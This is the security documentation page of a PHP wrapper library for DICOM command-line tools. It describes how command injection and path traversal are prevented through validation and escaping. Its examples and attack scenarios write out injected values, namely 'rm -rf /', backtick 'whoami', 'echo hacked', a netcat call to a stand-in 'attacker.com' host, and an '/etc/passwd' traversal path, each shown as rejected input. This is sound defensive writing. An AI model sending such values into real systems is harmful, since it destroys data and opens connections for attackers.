Skip to content

Security: aurabx/dcmtk-php

Security

SECURITY.md

Security Considerations for dcmtk-php

This document outlines important security practices when using the dcmtk-php library, particularly regarding command injection vulnerabilities that have been addressed in recent updates.

Overview

The dcmtk-php library wraps DCMTK (DICOM Toolkit) command-line utilities. Previous versions had vulnerabilities where user input could be directly injected into shell commands, potentially allowing attackers to execute arbitrary code. This has been fixed through input validation and safer command execution methods.

Input Validation

File Paths

All file path parameters are now validated using realpath() to:

  • Ensure the file actually exists
  • Resolve symbolic links and relative paths
  • Prevent directory traversal attacks

Example of safe usage:

$tag = new Tag();
$tag->setFilePath('/path/to/dicom/file.dcm'); // Path validated automatically

DICOM AE Titles

AE (Application Entity) titles used in network operations are validated to:

  • Contain only alphanumeric characters, spaces, hyphens, and underscores
  • Be no longer than 16 characters (DICOM standard)
  • Be non-empty

Restrictions on invalid input:

$net = new Net();
// These will throw DcmtkPhpException:
$net->echoscu('host', 104, 'INVALID@AE', 'REMOTE');  // @ is not allowed
$net->echoscu('host', 104, 'TOOLONGAETITLEHERE', ''); // Over 16 chars

Network Parameters

Host names and IP addresses are validated to contain only valid characters:

  • IPv4 and IPv6 addresses
  • Hostnames with dots, colons, and hyphens
  • No shell metacharacters

Port numbers are validated to be in the valid range (1-65535).

Example:

$net = new Net();
$net->echoscu('192.168.1.100', 104, 'LOCAL', 'REMOTE'); // Valid
$net->echoscu('host; rm -rf /', 104, 'A', 'B');        // Rejected

DICOM Tag Values

When writing DICOM tags, values are escaped to prevent command injection:

$tag = new Tag();
$tag->setFilePath('/path/to/file.dcm');
// These are now safe even with special characters:
$tag->writeTags([
    '0010,0010' => 'SMITH^JOHN; echo hacked',  // Safely escaped
    '0008,0080' => 'HOSPITAL`whoami`'           // Safely escaped
]);

Numeric Parameters

Parameters like JPEG quality, thumbnail size, and framerate are validated:

  • JPEG quality: 0-100
  • Thumbnail size: 1-10000 pixels
  • Framerate: 1-120 fps

Example of validation:

$convert = new Convert();
$convert->jpg_quality = 150;  // Invalid range
$convert->dcmToJpg();          // Throws DcmtkPhpException

Video Formats

When converting to video, only whitelisted formats are allowed:

  • mp4
  • avi
  • mov
  • mkv
  • webm

Other formats are rejected to prevent command injection via the format parameter.

Safe Command Execution

Backwards Compatibility Note

The library maintains backwards compatibility with code that passes command strings, but strongly recommends using the new validation methods for security.

Legacy (less safe):

// Still works but less safe - relies on popen()
$cmd = "dcmdump -M +L +Qn \"$file\"";
$output = $this->execute($cmd);

Modern (safer):

// New array-based execution using proc_open()
$commandArray = [DCMTK_BIN_DCMDUMP, '-M', '+L', '+Qn', $validatedFile];
$output = $this->executeArray($commandArray);

All methods in this library now use the safer array-based approach internally.

Configuration File Security

When using storeServer() with a configuration file, ensure:

  • The file is located in a secure directory with restricted access
  • The file is validated to exist before use
  • The file owner and permissions are properly set

Secure setup example:

# Configuration file with restricted permissions
chmod 600 /etc/dcmtk/storescp.cfg
chown www-data:www-data /etc/dcmtk/storescp.cfg

Handler Command Security

When using storeServer() with a handler command, the library:

  • Validates the handler script/binary exists
  • Validates it is executable
  • Does NOT execute arbitrary shell commands passed as the handler

Safe handler usage:

$net = new Net();
$net->storeServer(
    '/var/dicom/incoming',
    'PACS',
    '/etc/dcmtk/storescp.cfg',
    'Default',
    '/usr/local/bin/my_dicom_handler.sh'  // Must exist and be executable
);

What won't work:

// This will throw an exception - handler validation fails:
$net->storeServer(
    '/var/dicom/incoming',
    'PACS',
    '',
    'Default',
    'rm -rf /'  // Not an executable file path
);

DCMTK Binary Location

The library requires DCMTK binaries to be installed. Security considerations:

  1. Install from trusted sources - Use official DCMTK releases or your OS package manager
  2. Verify installation - Ensure binaries are from the expected location:
    $dcmtk = new DcmtkPhp('/usr/local/bin');  // Explicitly set path
  3. Prevent binary hijacking - Ensure the DCMTK path is not writable by untrusted users
  4. Keep updated - Install security updates for DCMTK when available

Exception Handling

The library throws DcmtkPhpException when validation fails. Always handle exceptions:

use Aurabx\Dcmtkphp\Exception\DcmtkPhpException;

try {
    $tag = new Tag();
    $tag->setFilePath($user_input_path);
    $tag->writeTags($tag_data);
} catch (DcmtkPhpException $e) {
    // Log and handle the error appropriately
    error_log("DICOM operation failed: " . $e->getMessage());
    // Do NOT expose error details to end users
}

Best Practices

1. Validate at Application Boundary

Validate all user input at the point it enters your application, before passing to dcmtk-php:

// Filter and validate file uploads
$upload_dir = '/secure/dicom/uploads';
if (!isset($_FILES['dicom_file'])) {
    throw new Exception('No file uploaded');
}

$file_path = $upload_dir . '/' . basename($_FILES['dicom_file']['name']);
move_uploaded_file($_FILES['dicom_file']['tmp_name'], $file_path);

// Now pass to library
$tag = new Tag();
$tag->setFilePath($file_path);

2. Use Allowlists

Restrict operations to expected values using allowlists:

$allowed_ae_titles = ['LOCAL', 'REMOTE1', 'REMOTE2'];
if (!in_array($ae_title, $allowed_ae_titles, true)) {
    throw new Exception('Invalid AE title');
}

3. Run with Minimal Privileges

Run PHP processes with the minimum necessary permissions:

# Run PHP as dedicated user with limited permissions
chown -R www-data:www-data /var/dicom
chmod 755 /var/dicom
chmod 600 /var/dicom/*

4. Secure Logging

Log operations without exposing sensitive data:

// Good - logs the operation type
error_log("DICOM file processed: {$filename}");

// Bad - could expose sensitive patient data
error_log("Full DICOM content: " . print_r($tags->tags, true));

5. Limit Network Access

Restrict network-based operations using firewall rules:

# Only allow DICOM connections from trusted PACS
iptables -A INPUT -p tcp --dport 104 -s 192.168.1.50 -j ACCEPT
iptables -A INPUT -p tcp --dport 104 -j DROP

6. Regular Updates

Keep the library and DCMTK tools updated:

# Check for composer updates
composer outdated

# Update DCMTK (example for Ubuntu)
sudo apt-get update && sudo apt-get upgrade dcmtk

Security Reporting

If you discover a security vulnerability in dcmtk-php:

  1. Do NOT open a public issue on GitHub
  2. Contact the maintainers privately with details
  3. Allow time for a fix before public disclosure
  4. Follow responsible disclosure practices

Common Attack Scenarios and Mitigations

Scenario 1: Command Injection via File Path

Attack: $tag->setFilePath('/tmp/file.dcm; rm -rf /') Mitigation: realpath() validation prevents this - the path is checked to exist and is resolved to an absolute path.

Scenario 2: AE Title Injection

Attack: $net->echoscu('host', 104, 'LOCAL"; nc attacker.com 1234 #', 'REMOTE') Mitigation: AE title validation rejects any characters outside [A-Za-z0-9\s\-_]

Scenario 3: DICOM Tag Value Injection

Attack: $tag->writeTags(['0010,0010' => "TEST\"; echo hacked #"]) Mitigation: Tag values are escaped using escapeshellarg() for additional safety

Scenario 4: Path Traversal

Attack: $tag->setFilePath('../../../etc/passwd') Mitigation: realpath() validation resolves the actual path and fails if the file doesn't exist in an allowed location

Performance Considerations

Input validation adds minimal overhead:

  • File path validation: ~1ms per operation
  • String validation (AE title, hostname): <1ms
  • Numeric range validation: <1ms

The security benefits far outweigh the negligible performance impact.

Changelog - Security Fixes

Version 2.x (Current)

  • Replaced popen() with proc_open() for safer command execution
  • Added CommandValidator class for comprehensive input validation
  • Implemented whitelist validation for AE titles, hostnames, and formats
  • Added file path traversal protection
  • Escaped DICOM tag values automatically
  • Improved error messages without exposing system details

Version 1.x

  • Had command injection vulnerabilities (deprecated)
  • Used shell-based command execution without input validation

Questions or Concerns?

If you have security questions about using dcmtk-php:

  1. Check this documentation
  2. Review the source code (it's open source)
  3. Contact the maintainers with specific questions
  4. Never attempt to work around validation checks

There aren’t any published security advisories